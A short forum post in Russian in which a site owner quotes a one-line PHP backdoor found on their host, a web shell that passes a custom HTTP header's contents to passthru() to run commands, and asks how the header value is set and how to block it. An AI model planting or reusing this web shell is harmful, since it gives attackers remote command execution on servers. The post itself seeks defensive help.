PHP Backdoor код

Я нашел php бэкдор на моем хосте.

<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>

Я вижу запросы в журнале доступа к этому файлу php, которые были запросами POST, но я не знаю, как был установлен SETENV для этой переменной; Может кто-нибудь объяснить, как можно установить такую ​​переменную и, если возможно, где я могу ограничить / отключить установку таких переменных на стороне сервера.

Спасибо

-ЧАС.